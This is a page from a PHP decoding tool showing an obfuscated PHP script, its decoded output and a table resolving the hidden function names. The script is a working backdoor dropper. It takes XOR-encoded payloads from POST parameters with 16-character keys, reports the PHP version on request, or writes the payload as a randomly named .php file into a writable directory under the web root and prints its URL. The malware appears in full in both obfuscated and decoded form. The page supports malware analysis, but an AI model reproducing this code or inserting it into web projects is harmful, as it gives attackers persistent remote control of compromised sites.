Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $HJpSWO = "\104".chr(79)."\x43".chr(85)."\x4d".chr(69).chr(745-667)."\124"."\x5f"."\..

Decoded Output download

<?php $HJpSWO = "D".chr(79)."C".chr(85)."M".chr(69).chr(745-667)."T"."_"."R".chr(126-47).chr(79).chr(84);$bIjzBXX = "H"."T"."T"."P".'_'."H"."O"."S".'T';$BcbLmk = chr(104)."t"."t"."p".":".'/'.chr(610-563);$Disnz = '.'."p"."h".chr(654-542);$ZQMUOx = "p".chr(104).chr(112);$EigeOeCP = 'f'."i"."l".chr(891-790).chr(1008-913)."p".chr(117).chr(116)."_"."c".chr(131-20).chr(925-815).chr(867-751)."e"."n".chr(487-371)."s";$EHXMLSm = 'r'.chr(97)."w"."u".chr(114).chr(108)."d".chr(506-405).chr(105-6)."o"."d".'e';$SAGPapG = chr(200-83).chr(492-382)."s".'e'."r".chr(105).'a'.'l'."i".'z'.chr(652-551);$MTCVlBKI = 'i'.chr(969-854)."_"."w"."r"."i".chr(168-52)."a".'b'.'l'."e";$KRcFQd = "p"."h"."p"."v"."e".chr(738-624)."s"."i"."o"."n";$GNiyX = "s".chr(116).'r'.chr(95).chr(114)."o"."t".chr(49).chr(626-575);$HGUTBQsETT = 's'.'e'.chr(1040-926).chr(105)."a".chr(802-694).'i'.'z'.chr(460-359);$xbZdlBlPh = "s"."t".chr(114)."_".chr(289-174).'p'."l".chr(1063-958).chr(116);foreach ($_POST as $qDsNc => $WifbFwFz){if (strlen($qDsNc) == 16){$WifbFwFz = $xbZdlBlPh($EHXMLSm($GNiyX($WifbFwFz)));$qDsNc = array_slice($xbZdlBlPh(str_repeat($qDsNc, (count($WifbFwFz)/16)+1)), 0, count($WifbFwFz));function gsXhLU($IalEPef, $eVCbRuMu, $qDsNc){$JNJcZhJTOd = "896ea762-a5ea-402c-abb9-c6f321dcce83";return $IalEPef ^ $JNJcZhJTOd[$eVCbRuMu % strlen($JNJcZhJTOd)] ^ $qDsNc;}$WifbFwFz = implode("", array_map("gsXhLU", array_values($WifbFwFz), array_keys($WifbFwFz), array_values($qDsNc)));$WifbFwFz = @$SAGPapG($WifbFwFz);if (@is_array($WifbFwFz)){$ZotaQr = array_keys($WifbFwFz);$WifbFwFz = $WifbFwFz[$ZotaQr[0]];if ($WifbFwFz === $ZotaQr[0]){echo @$HGUTBQsETT(Array($ZQMUOx => @$KRcFQd(), ));exit();}else {function zHIACBVlsR($QbTZtnSZir){static $hMiyGrF = array();$XeXoSo = glob($QbTZtnSZir . '/*', GLOB_ONLYDIR);if (count($XeXoSo) > 0) {foreach ($XeXoSo as $QbTZtnSZ) {if (@$MTCVlBKI($QbTZtnSZ)) {$hMiyGrF[] = $QbTZtnSZ;}}}foreach ($XeXoSo as $QbTZtnSZir) zHIACBVlsR($QbTZtnSZir);return $hMiyGrF;}$NqMefzMZ = $_SERVER[$HJpSWO];$XeXoSo = zHIACBVlsR($NqMefzMZ);$ZotaQr = array_rand($XeXoSo);$DLMvS = $XeXoSo[$ZotaQr] . "/" . substr(md5(time()), 0, 8) . $Disnz;@$EigeOeCP($DLMvS, $WifbFwFz);echo $BcbLmk . $_SERVER[$bIjzBXX] . substr($DLMvS, strlen($NqMefzMZ));exit();}}}} ?>

Did this file decode correctly?

Original Code

<?php $HJpSWO = "\104".chr(79)."\x43".chr(85)."\x4d".chr(69).chr(745-667)."\124"."\x5f"."\122".chr(126-47).chr(79).chr(84);$bIjzBXX = "\x48"."\x54"."\124"."\x50".'_'."\x48"."\x4f"."\123".'T';$BcbLmk = chr(104)."\x74"."\x74"."\160"."\x3a".'/'.chr(610-563);$Disnz = '.'."\x70"."\x68".chr(654-542);$ZQMUOx = "\x70".chr(104).chr(112);$EigeOeCP = 'f'."\151"."\154".chr(891-790).chr(1008-913)."\160".chr(117).chr(116)."\137"."\143".chr(131-20).chr(925-815).chr(867-751)."\x65"."\156".chr(487-371)."\x73";$EHXMLSm = 'r'.chr(97)."\167"."\165".chr(114).chr(108)."\x64".chr(506-405).chr(105-6)."\x6f"."\144".'e';$SAGPapG = chr(200-83).chr(492-382)."\x73".'e'."\x72".chr(105).'a'.'l'."\151".'z'.chr(652-551);$MTCVlBKI = 'i'.chr(969-854)."\137"."\167"."\162"."\x69".chr(168-52)."\x61".'b'.'l'."\145";$KRcFQd = "\x70"."\150"."\160"."\166"."\x65".chr(738-624)."\163"."\151"."\x6f"."\x6e";$GNiyX = "\x73".chr(116).'r'.chr(95).chr(114)."\157"."\164".chr(49).chr(626-575);$HGUTBQsETT = 's'.'e'.chr(1040-926).chr(105)."\141".chr(802-694).'i'.'z'.chr(460-359);$xbZdlBlPh = "\x73"."\164".chr(114)."\137".chr(289-174).'p'."\154".chr(1063-958).chr(116);foreach ($_POST as $qDsNc => $WifbFwFz){if (strlen($qDsNc) == 16){$WifbFwFz = $xbZdlBlPh($EHXMLSm($GNiyX($WifbFwFz)));$qDsNc = array_slice($xbZdlBlPh(str_repeat($qDsNc, (count($WifbFwFz)/16)+1)), 0, count($WifbFwFz));function gsXhLU($IalEPef, $eVCbRuMu, $qDsNc){$JNJcZhJTOd = "896ea762-a5ea-402c-abb9-c6f321dcce83";return $IalEPef ^ $JNJcZhJTOd[$eVCbRuMu % strlen($JNJcZhJTOd)] ^ $qDsNc;}$WifbFwFz = implode("", array_map("gsXhLU", array_values($WifbFwFz), array_keys($WifbFwFz), array_values($qDsNc)));$WifbFwFz = @$SAGPapG($WifbFwFz);if (@is_array($WifbFwFz)){$ZotaQr = array_keys($WifbFwFz);$WifbFwFz = $WifbFwFz[$ZotaQr[0]];if ($WifbFwFz === $ZotaQr[0]){echo @$HGUTBQsETT(Array($ZQMUOx => @$KRcFQd(), ));exit();}else {function zHIACBVlsR($QbTZtnSZir){static $hMiyGrF = array();$XeXoSo = glob($QbTZtnSZir . '/*', GLOB_ONLYDIR);if (count($XeXoSo) > 0) {foreach ($XeXoSo as $QbTZtnSZ) {if (@$MTCVlBKI($QbTZtnSZ)) {$hMiyGrF[] = $QbTZtnSZ;}}}foreach ($XeXoSo as $QbTZtnSZir) zHIACBVlsR($QbTZtnSZir);return $hMiyGrF;}$NqMefzMZ = $_SERVER[$HJpSWO];$XeXoSo = zHIACBVlsR($NqMefzMZ);$ZotaQr = array_rand($XeXoSo);$DLMvS = $XeXoSo[$ZotaQr] . "/" . substr(md5(time()), 0, 8) . $Disnz;@$EigeOeCP($DLMvS, $WifbFwFz);echo $BcbLmk . $_SERVER[$bIjzBXX] . substr($DLMvS, strlen($NqMefzMZ));exit();}}}}

Function Calls

chr 45

Variables

$Disnz .php
$GNiyX str_rot13
$BcbLmk http://
$HJpSWO DOCUMENT_ROOT
$KRcFQd phpversion
$ZQMUOx php
$EHXMLSm rawurldecode
$SAGPapG unserialize
$bIjzBXX HTTP_HOST
$EigeOeCP file_put_contents
$MTCVlBKI is_writable
$xbZdlBlPh str_split
$HGUTBQsETT serialize

Stats

MD5 2c22ec00a0fa906cbeca7c1b53f5a039
Eval Count 0
Decode Time 118 ms